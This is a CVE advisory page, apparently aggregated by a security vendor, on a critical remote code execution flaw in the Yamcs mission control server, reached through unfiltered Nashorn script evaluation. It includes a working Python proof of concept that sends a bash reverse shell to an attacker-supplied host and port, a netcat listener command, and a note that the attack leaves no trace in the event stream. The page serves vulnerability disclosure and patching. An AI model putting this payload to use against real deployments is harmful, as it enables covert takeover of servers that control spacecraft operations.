🛡️ CVE-2026-46562 — yamcs

🔴 CVSS 9.8 — Critical ✅ No Known Exploit CWE-470 NVD
9.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Yamcs Vulnerable to Remote Code Execution via Mission Database algorithm override

# Remote Code Execution via Mission Database algorithm override

Summary

The Nashorn ScriptEngine used to evaluate user-supplied algorithm text in MdbOverrideApi.updateAlgorithm is constructed without a ClassFilter, allowing a user with the ChangeMissionDatabase privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no security.yaml), the built-in guest user has superuser=true, so the vulnerability is reachable without authentication.

Details

Vulnerable file: yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java

```java

// L46-53 Nashorn engine obtained without a ClassFilter

ScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()

.filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())

&& candidate.getNames().contains(language))

.findFirst().orElse(null);

if (factory != null) {

scriptEngine = factory.getScriptEngine(); // ← ClassFilter not supplied

}

// L109 user-supplied algorithm text reaches eval()

scriptEngine.eval(functionScript);

```

NashornScriptEngineFactory.getScriptEngine() accepts an optional ClassFilter that restricts which classes JavaScript can reach via Java.type(...). Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class — for example, Java.type("java.lang.Runtime").getRuntime().exec(...) runs arbitrary OS commands inside the Yamcs JVM.

The path from HTTP request to eval is:

MdbOverrideApi.updateAlgorithm (yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189)

AlgorithmManager.overrideAlgorithm (yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559)

ScriptAlgorithmExecutorFactory.makeExecutor (yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117)

scriptEngine.eval(...).

PoC

Run against any reachable Yamcs deployment that has at least one JavaScript CustomAlgorithm in its MDB (the simulator example MDB includes several, such as /YSS/SIMULATOR/Battery_Voltage_Avg).

Attacker-side listener:

```

nc -lvnp 4444

```

```python

#!/usr/bin/env python3

"""

Usage: python3 <poc>.py http://target:8090 LHOST LPORT

"""

import json, sys, time, urllib.request

TARGET = sys.argv[1].rstrip("/")

LHOST = sys.argv[2]

LPORT = int(sys.argv[3])

INSTANCE = "simulator"

PROCESSOR = "realtime"

ALGORITHM = "YSS/SIMULATOR/Battery_Voltage_Avg"

# Close the generated wrapper function with }, execute the payload at

# top level, then re-open a dummy function so the trailing } emitted

# by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired.

payload = (

'} '

'Java.type("java.lang.Runtime").getRuntime().exec('

f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); '

'function _x(){'

)

patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}"

def http(method, url, body=None):

req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,

method=method, headers={"Content-Type": "application/json"})

return urllib.request.urlopen(req, timeout=10).read()

http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}})

time.sleep(2)

http("PATCH", patch, {"action": "RESET"})

```

<img width="1841" height="881" alt="nashorn-rce-poc" src="https://github.com/user-attachments/assets/48432eea-67b5-4f3b-af97-c77325b0d671" /><br>

The override path emits events only when evaluation fails: a WARNING from ScriptAlgorithmExecutorFactory.java:112 and a CRITICAL from AlgorithmManager.java:546. Any syntactically valid payload — like the one above — succeeds silently and no event is fired, so the attack leaves no trace in the Yamcs event stream.

Impact

Arbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.

For a Yamcs deployment managing spacecraft operations, an attacker can:

  • forge or block telecommands, suppress alarms, and tamper with the telemetry archive — disrupting or seizing control of the mission;
  • read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration);
  • pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services);
  • install a persistent backdoor via the same primitive.

Who is impacted:

  • All Yamcs deployments running in the default configuration (no security.yaml present): any unauthenticated network attacker that can reach the HTTP API port (default 8090).
  • Yamcs deployments with security enabled: any user that has been granted the ChangeMissionDatabase system privilege. This privilege is commonly given to

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

CVE-2026-46562 is classified as CWE-470: Unsafe Reflection. Input selects which class or method to invoke, letting an attacker reach code that was never meant to be callable.

Affected software

CVE-2026-46562 is recorded against 2 packages.

  • org.yamcs:yamcs-core (fixed in 5.12.7)
  • yamcs (fixed in 5.12.7)

Timeline and source

Published on 27 May 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Web)
github.com (Package)

Details

Severity CRITICAL
CVSS Score 9.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-470
Public Exploit ✅ No
Source NVD
Published 2026-05-27
Updated 2026-08-12
Modified 2026-05-27

Affected Packages

Software From version Fixed in
org.yamcs:yamcs-core 5.12.7
yamcs 5.12.7

Similar Threats

Exploit Protection

Are you running yamcs?

CVE-2026-46562 carries CVSS 9.8 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-46562 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.